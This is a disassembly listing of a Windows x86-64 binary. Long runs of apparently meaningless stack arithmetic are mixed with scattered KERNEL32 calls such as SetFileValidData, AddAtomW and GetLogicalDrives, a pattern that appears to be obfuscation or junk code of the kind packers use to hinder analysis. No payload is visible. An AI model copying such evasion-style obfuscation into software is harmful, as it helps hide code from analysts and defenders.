mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1cbc], ax
movzx eax, byte [rsp + 0x7fa]
movzx ecx, byte [rsp + 0x61]
sub eax, ecx
mov byte [0x1402acb4e], al
mov eax, dword [rsp + 0xa7a4]
mov ecx, dword [rsp + 0xd098]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd584], eax
mov rax, qword [rsp + 0x19bd8]
mov ecx, dword [rsp + 0xce54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd004], eax
mov rax, qword [rsp + 0x1a178]
mov eax, dword [rax]
mov dword [rsp + 0xd7a8], eax
mov rax, qword [rsp + 0x196e0]
mov rcx, qword [rsp + 0x19f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd0f8], eax
movzx eax, byte [rsp + 0x414]
mov byte [rsp + 0x844], al
mov rax, qword [rsp + 0x1a318]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x3720], ax
lea rax, [rsp + 0x3694]
mov qword [rsp + 0x1a540], rax
mov rax, qword [0x1402bf5e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a078]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x7db], al
mov rax, qword [rsp + 0x1a3a0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd590]
shr eax, cl
mov dword [0x1402ad6e0], eax
mov rax, qword [0x1402bf610]
mov ecx, dword [rsp + 0x8fb0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xcf38], eax
mov rax, qword [rsp + 0x197a8]
movzx eax, word [rax]
mov word [rsp + 0x3974], ax
mov rax, qword [rsp + 0x1a0c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x818]
xor eax, ecx
mov byte [rsp + 0x4f3], al
mov rax, qword [rsp + 0x19e90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa6a4]
shl eax, cl
mov dword [rsp + 0xbdd8], eax
mov rax, qword [rsp + 0x1a448]
mov ecx, dword [rsp + 0xd408]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xcce4], eax
mov rax, qword [0x1402bf638]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd19c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa368], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov dword [rsp + 0xd7ac], eax
mov edx, 0x91631
mov rcx, qword [rsp + 0x1a530]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xcd28], eax
mov rax, qword [rsp + 0x1a500]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ea0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x37c8], ax
lea rcx, [rsp + 0x2afc8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx eax, byte [rsp + 0x7c6]
mov byte [0x1402bf52c], al
mov rax, qword [0x1402bf5d0]
mov eax, dword [rax]
mov dword [rsp + 0xd7b0], eax
mov rcx, qword [rsp + 0x19748]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xd4dc], eax
mov rax, qword [rsp + 0x1a338]
mov rcx, qword [rsp + 0x1a3d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xce88], eax
mov eax, dword [0x1402ad6b4]
mov ecx, dword [rsp + 0x9148]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a008]
mov dword [rcx], eax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0xcf1c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x99e0], eax
mov eax, dword [rsp + 0xd510]
mov ecx, dword [rsp + 0xbfa4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1ac], eax
movzx eax, byte [0x1402acb77]
mov byte [rsp + 0x845], al
mov rax, qword [rsp + 0x1a118]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x3820], ax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a310]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x809], al
mov rax, qword [0x1402bf598]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37a4]
imul eax, ecx
mov word [0x1402ad7f4], ax
mov eax, dword [rsp + 0xd718]
mov dword [rsp + 0xd7b4], eax
mov rax, qword [rsp + 0x19ed0]
mov ecx, dword [rsp + 0xcf54]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcf9c], eax
mov rax, qword [rsp + 0x19ea0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37b4]
cdq
idiv ecx
mov word [rsp + 0x28dc], ax
movzx eax, byte [rsp + 0x451]
mov rcx, qword [rsp + 0x19d00]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x815], al
mov eax, dword [0x1402bf770]
mov dword [rsp + 0xd7b8], eax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19e18]
mov qword [rsp + 0x1a548], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a548]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9c48], eax
mov rax, qword [rsp + 0x1a008]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x19c98]
mov qword [rsp + 0x1a550], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a550]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xd3e0], eax
mov eax, dword [0x1402ad6fc]
mov dword [rsp + 0xd7bc], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xd4ac], eax
movzx eax, byte [rsp + 0x7c0]
movzx ecx, byte [rsp + 0x7d4]
xor eax, ecx
mov byte [0x1402acbf2], al
movzx eax, word [rsp + 0x3940]
mov rcx, qword [rsp + 0x19be8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x19a28]
mov word [rcx], ax
mov eax, dword [rsp + 0xd4b0]
mov ecx, dword [0x1402ad68c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e28], eax
mov rax, qword [rsp + 0x19988]
mov rcx, qword [rsp + 0x19850]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xd47c], eax
mov rax, qword [rsp + 0x19d50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1a088]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x83e], al
movzx eax, word [rsp + 0x3874]
mov word [rsp + 0x3978], ax
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19ec0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x3818], ax
lea rcx, str.YH4jzJ_8v_Vz_CUINFz1
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x397c], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x1a2d8]
movzx eax, byte [rax]
mov byte [rsp + 0x846], al
mov eax, dword [rsp + 0x83ec]
mov ecx, dword [0x1402bf67c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd604], eax
mov rax, qword [rsp + 0x1a080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf64]
add ecx, eax
mov eax, ecx
mov dword [0x1402ad7f8], eax
mov rax, qword [0x1402bf6c8]
mov rcx, qword [rsp + 0x1a498]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9088], eax
mov rax, qword [rsp + 0x19d58]
mov eax, dword [rax]
mov dword [rsp + 0xd7c0], eax
mov rax, qword [rsp + 0x198b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd4cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd31c], eax
lea rax, [rsp + 0x6d3]
mov qword [rsp + 0x1a558], rax
movzx eax, word [rsp + 0x3884]
mov rcx, qword [rsp + 0x199a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2048], ax
mov rax, qword [rsp + 0x19a60]
mov ecx, dword [rsp + 0xd290]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd6a4], eax
mov rax, qword [rsp + 0x19e50]
mov ecx, dword [rsp + 0xd2d0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9bd8], eax
mov eax, dword [rsp + 0xd438]
mov ecx, dword [rsp + 0xd190]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x9f6c], eax
mov eax, dword [rsp + 0xd610]
mov rcx, qword [rsp + 0x1a260]
mov qword [rsp + 0x1a560], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a560]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402ad79c], eax
mov rax, qword [rsp + 0x19a50]
movzx eax, byte [rax]
mov byte [rsp + 0x847], al
mov rax, qword [rsp + 0x1a0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x37bc]
sar eax, cl
mov word [rsp + 0x38c0], ax
mov rax, qword [rsp + 0x19f90]
movzx eax, word [rax]
mov word [rsp + 0x3980], ax
movsx eax, byte [rsp + 0x7c8]
mov rcx, qword [rsp + 0x19af8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x817], al
mov rax, qword [rsp + 0x19cb8]
mov ecx, dword [rsp + 0x9674]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2dc], eax
mov rax, qword [0x1402bf750]
mov rcx, qword [rsp + 0x19ca0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9018], eax
movzx eax, word [rsp + 0x35fc]
movzx ecx, word [rsp + 0x38c0]
and eax, ecx
mov rcx, qword [rsp + 0x19a28]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
lea rax, [rsp + 0x666]
mov qword [rsp + 0x1a568], rax
mov eax, dword [rsp + 0xd34c]
mov dword [0x1402bf528], eax
mov edx, 0x16fb
mov rcx, qword [rsp + 0x199b0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd4ac], eax
mov eax, dword [rsp + 0xd748]
mov ecx, dword [rsp + 0x8308]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c0c], eax
mov rax, qword [rsp + 0x1a338]
mov ecx, dword [rsp + 0xd3f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd734], eax
lea rax, [rsp + 0xd46c]
mov qword [rsp + 0x1a570], rax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x363c]
add eax, ecx
mov word [rsp + 0x37f0], ax
movzx eax, byte [rsp + 0x81b]
mov byte [rsp + 0x848], al
mov eax, dword [rsp + 0xd2f0]
mov ecx, dword [rsp + 0xd228]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd76c], eax
mov rax, qword [rsp + 0x1a0e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd7bc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd37c], eax
mov eax, dword [rsp + 0xcdd4]
mov dword [rsp + 0xd7c4], eax
mov rax, qword [rsp + 0x1a070]
mov ecx, dword [rsp + 0xd134]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x1402bf5b4], eax
mov rax, qword [rsp + 0x19740]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd564]
sar eax, cl
mov rcx, qword [rsp + 0x1a498]
mov dword [rcx], eax
mov rax, qword [rsp + 0x1a280]
movsx eax, byte [rax]
movsx ecx, byte [0x1402bf5a4]
shl eax, cl
mov byte [rsp + 0x533], al
movsx eax, word [rsp + 0x3800]
movsx ecx, word [rsp + 0x3614]
or eax, ecx
mov rcx, qword [rsp + 0x19ec8]
mov word [rcx], ax
mov rax, qword [rsp + 0x19f38]
movzx eax, word [rax]
mov word [rsp + 0x3984], ax
movzx eax, byte [rsp + 0x1fb]
mov rcx, qword [rsp + 0x19b78]
movzx ecx, byte [rcx]
cdq
idiv ecx
mov rcx, qword [rsp + 0x1a2e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x19710]
mov ecx, dword [rsp + 0x9058]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x19dc0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xd7c8], eax
mov rax, qword [rsp + 0x19cd8]
mov eax, dword [rax]
mov dword [rsp + 0xd7cc], eax
mov rax, qword [0x1402bf548]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x839], al
movzx eax, word [rsp + 0x308c]
mov rcx, qword [rsp + 0x19fe0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402ad7fc], ax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x1a520], rax
mov rax, qword [rsp + 0x19ba0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8354]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x99c0], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd598]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1ec], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xce44], eax
mov rax, qword [rsp + 0x19988]
mov ecx, dword [rsp + 0x92c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xb1c8], eax
mov eax, dword [rsp + 0xb6d4]
mov dword [rsp + 0xd7d0], eax
movzx eax, byte [rsp + 0x78f]
mov rcx, qword [rsp + 0x19f98]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0xfd], al
movzx eax, word [rsp + 0x366c]
mov word [rsp + 0x3988], ax
mov rax, qword [rsp + 0x1a070]
mov ecx, dword [0x1402ad768]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x87d4], eax
mov rax, qword [rsp + 0x19b40]
mov ecx, dword [rsp + 0xd794]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd6ac], eax
movzx ecx, word [rsp + 0x35e8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x3700], ax
movsx eax, word [rsp + 0x3614]
movsx ecx, word [0x1402ad6e4]
add eax, ecx
mov word [0x1402ad6f4], ax
mov rax, qword [rsp + 0x19880]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x28e]
add eax, ecx
mov byte [rsp + 0x1e0], al
movzx eax, word [rsp + 0x2a68]
movzx ecx, word [rsp + 0x3680]
xor eax, ecx
mov word [rsp + 0x3264], ax
movzx eax, byte [rsp + 0x22d]
mov byte [rsp + 0x849], al
mov rax, qword [rsp + 0x1a1b8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd634]
shl eax, cl
mov dword [rsp + 0xc564], eax
mov eax, dword [rsp + 0xd330]
movzx ecx, al
mov eax, dword [rsp + 0xd198]
shr eax, cl
mov rcx, qword [rsp + 0x199f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xcf88]
mov dword [rsp + 0xd7d4], eax
mov rax, qword [rsp + 0x19f10]
mov ecx, dword [rsp + 0xcf30]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xd010], eax
mov eax, dword [rsp + 0xd008]
mov dword [rsp + 0xd7d8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd7dc], eax
movzx eax, byte [rsp + 0x7ef]
mov rcx, qword [0x1402bf6e8]
movzx ecx, byte [rcx]
imul eax, ecx
mov byte [rsp + 0x78a], al
mov rax, qword [rsp + 0x19be8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x180c]
and eax, ecx
mov rcx, qword [0x1402bf530]
mov word [rcx], ax
mov rax, qword [rsp + 0x19ac0]
mov rcx, qword [rsp + 0x19f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9de4], eax
mov rax, qword [rsp + 0x19c98]
mov ecx, dword [rsp + 0xd0d8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd5a0], eax
mov rax, qword [rsp + 0x1a108]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd138]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xcfb8], eax
lea rcx, [rsp + 0x19e60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
lea rax, [0x1402bf658]
mov qword [rsp + 0x1a578], rax
movzx eax, word [rsp + 0x3870]
movzx ecx, word [rsp + 0x2f14]
add eax, ecx
mov word [rsp + 0x3634], ax
mov rax, qword [rsp + 0x1a218]
movzx eax, byte [rax]
mov byte [rsp + 0x84a], al
movsx eax, byte [rsp + 0x36e]
movsx ecx, byte [0x1402bf578]
add eax, ecx
mov byte [rsp + 0x782], al
movsx eax, word [rsp + 0x3724]
movsx ecx, word [rsp + 0x37e4]
and eax, ecx
mov word [rsp + 0x38a8], ax
mov rax, qword [rsp + 0x1a410]
mov rcx, qword [rsp + 0x19a90]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad800], eax
lea rax, [rsp + 0xd538]
mov qword [rsp + 0x1a580], rax
movzx eax, byte [rsp + 0x3a2]
movzx ecx, byte [rsp + 0x7bb]
sub eax, ecx
mov byte [rsp + 0x7b5], al
mov rax, qword [rsp + 0x19a88]
movzx eax, word [rax]
mov word [rsp + 0x398c], ax
mov rax, qword [rsp + 0x1a210]
mov rcx, qword [rsp + 0x19d38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd284], eax
mov rax, qword [rsp + 0x1a3a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab6c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xd1a8], eax
lea rax, [rsp + 0xcf28]
mov qword [rsp + 0x1a588], rax
mov rax, qword [0x1402bf628]
mov rcx, qword [rsp + 0x1a038]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd7cc], eax
mov rax, qword [rsp + 0x19858]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x3854]
shl eax, cl
mov word [rsp + 0x1eb0], ax
mov rax, qword [rsp + 0x19a08]
movzx eax, byte [rax]
mov rcx, qword [0x1402bf778]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x1402bf690], al
mov rax, qword [rsp + 0x19ed0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x93f0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd3a8], eax
mov eax, dword [rsp + 0xd734]
mov dword [rsp + 0xd7e0], eax
mov eax, dword [rsp + 0xd11c]
mov ecx, dword [rsp + 0xd084]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8068], eax
mov rax, qword [rsp + 0x1a0e8]
mov ecx, dword [rsp + 0xd0e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb664], eax
mov rax, qword [rsp + 0x19cf0]
mov eax, dword [rax]
mov dword [rsp + 0xd7e4], eax
mov rax, qword [rsp + 0x1a340]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x374c]
add eax, ecx
mov word [rsp + 0x37e8], ax
movsx eax, byte [rsp + 0x7df]
mov rcx, qword [rsp + 0x19880]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x116], al
mov rax, qword [rsp + 0x1a2e0]
movzx eax, byte [rax]
movzx ecx, byte [0x1402acbbf]
sub eax, ecx
mov byte [rsp + 0x808], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
mov word [0x1402bf524], ax
mov rax, qword [rsp + 0x1a3a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd414]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xbdbc], eax
mov eax, dword [rsp + 0xce98]
mov dword [rsp + 0xd7e8], eax
movzx eax, byte [rsp + 0x7e2]
mov rcx, qword [rsp + 0x1a0c0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7ee], al
mov rax, qword [rsp + 0x1a378]
movzx eax, word [rax]
mov word [rsp + 0x3990], ax
mov rax, qword [rsp + 0x1a3d8]
mov ecx, dword [rsp + 0xd5dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd370], eax
mov rax, qword [rsp + 0x19e68]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x1402ad6e8]
shr eax, cl
mov dword [rsp + 0x83ec], eax
mov eax, dword [rsp + 0xba54]
mov rcx, qword [rsp + 0x19e98]
mov qword [rsp + 0x1a590], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a590]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa670], eax
mov eax, dword [rsp + 0xd750]
mov ecx, dword [rsp + 0xd008]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xb984], eax
movzx eax, byte [rsp + 0x787]
movzx ecx, byte [rsp + 0x818]
or eax, ecx
mov byte [0x1402acb62], al
movzx eax, word [rsp + 0x3784]
mov word [rsp + 0x3994], ax
mov eax, dword [rsp + 0x8af4]
mov ecx, dword [rsp + 0xd558]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xd34c], eax
mov eax, dword [rsp + 0xd548]
mov ecx, dword [rsp + 0x9148]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd61c], eax
mov edx, 0x92b
mov rcx, qword [rsp + 0x19a80]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xd7dc], eax
movzx eax, byte [rsp + 0x791]
mov byte [rsp + 0x84b], al
mov rax, qword [rsp + 0x19800]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x37e8]
sub eax, ecx
mov word [rsp + 0x3800], ax
mov rax, qword [rsp + 0x1a2b0]
movzx eax, byte [rax]
mov byte [rsp + 0x84c], al
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x38a4]
sub eax, ecx
mov word [rsp + 0x3810], ax
mov rax, qword [0x1402bf740]
mov rcx, qword [rsp + 0x19db8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa10], eax
mov rax, qword [rsp + 0x19df8]
mov ecx, dword [rsp + 0x9c0c]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402ad804], eax
mov r9d, 1
lea r8, [rsp + 0x19ae8]
mov rdx, qword [rsp + 0x19778]
mov rcx, qword [rsp + 0x19688]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xd7ec], eax
mov eax, dword [rsp + 0xcee0]
mov ecx, dword [rsp + 0x9418]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xcf2c], eax
mov rax, qword [rsp + 0x19af0]
mov rcx, qword [rsp + 0x19f00]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x8ac0], eax
mov rax, qword [rsp + 0x19a30]
mov eax, dword [rax]
mov dword [rsp + 0xd7f0], eax
movzx eax, byte [0x1402acb63]
movzx ecx, byte [rsp + 0x7b7]
add eax, ecx
mov byte [rsp + 0x78d], al
mov rax, qword [rsp + 0x1a010]
movzx eax, word [rax]
mov word [rsp + 0x3998], ax
mov eax, dword [rsp + 0x951c]
mov ecx, dword [rsp + 0xad2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd410], eax
mov rax, qword [0x1402bf740]
mov ecx, dword [rsp + 0xd214]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xd5cc], eax
mov rax, qword [rsp + 0x1a080]
mov rcx, qword [rsp + 0x19a48]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xac30], eax
mov rcx, qword [rsp + 0x19bc8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [0x1402bf6f8]
mov rcx, qword [rsp + 0x1a2f0]
mov qword [rsp + 0x1a598], rcx
movzx ecx, al
mov rax, qword [rsp + 0x1a598]
mov eax, dword [rax]
sar eax, cl
mov dword [0x1402ad808], eax
movzx ecx, word [rsp + 0x3930]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x399c], ax
mov rax, qword [rsp + 0x19830]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x1a198]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x811], al
movzx eax, word [rsp + 0x1d7c]
mov word [rsp + 0x39a0], ax
mov rax, qword [rsp + 0x19f48]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b0]
add eax, ecx
mov byte [rsp + 0x801], al
mov rax, qword [rsp + 0x1a540]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x3800]
sub eax, ecx
mov word [rsp + 0x1890], ax
mov eax, dword [rsp + 0xaba8]
mov dword [rsp + 0xd7f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xd41c], eax
mov rax, qword [0x1402bf628]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd610]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd5e8], eax
mov rax, qword [rsp + 0x19fd8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7e0]
imul eax, ecx
mov byte [rsp + 0x3cc], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov rax, qword [rsp + 0x19848]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x19e00]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2d84], ax
mov rax, qword [rsp + 0x19e50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xce94]
sub ecx, eax
mov eax, ecx
mov dword [0x1402ad758], eax
mov rax, qword [rsp + 0x1a210]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xcf50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1a268]
mov dword [rcx], eax
mov rax, qword [0x1402bf750]
mov eax, dword [rax]
mov dword [rsp + 0xd7f8], eax
mov rax, qword [rsp + 0x19710]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xd59c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd590], eax
movzx eax, byte [rsp + 0x7e2]
mov byte [rsp + 0x84d], al
mov rax, qword [rsp + 0x19b50]
movzx eax, word [rax]
movzx ecx, word [0x1402ad7fc]
sub eax, ecx
mov word [rsp + 0x37fc], ax
mov rax, qword [rsp + 0x198b8]
mov rcx, qword [rsp + 0x19888]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb818], eax
mov rax, qword [rsp + 0x19780]
mov ecx, dword [rsp + 0xa970]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xd2d4], eax
mov eax, dword [rsp + 0xce7c]
mov ecx, dword [0x1402ad688]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xd624], eax
mov eax, dword [rsp + 0xd2c0]
mov dword [0x1402bf520], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0xd104], eax
mov eax, dword [rsp + 0xa7d8]
mov dword [rsp + 0xd7fc], eax
mov rax, qword [rsp + 0x1a190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x19dd0]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x3904], ax
movzx eax, byte [rsp + 0xb4]
mov byte [rsp + 0x84e], al
mov rax, qword [rsp + 0x1a240]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1a318]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x35c4], ax
mov rax, qword [rsp + 0x19f98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x38b]
sar eax, cl
mov rcx, qword [rsp + 0x1a0a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x1a168]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xd2ac]
shl eax, cl
mov dword [rsp + 0x7fd4], eax
mov eax, dword [0x1402ad6ec]
mov ecx, dword [rsp + 0xd504]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xd440], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xcdb8], eax
mov rax, qword [rsp + 0x1a030]
movzx eax, word [rax]
mov word [rsp + 0x39a4], ax
mov rax, qword [rsp + 0x1a120]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7c7]
add eax, ecx
mov byte [0x1402bf52d], al
mov rax, qword [rsp + 0x1a448]
mov rcx, qword [0x1402bf6c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xd184], eax
mov rax, qword [rsp + 0x1a038]
mov rcx, qword [rsp + 0x19b18]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa240], eax
mov eax, dword [rsp + 0xd6e8]
mov dword [rsp + 0xd800], eax
mov rax, qword [0x1402bf760]
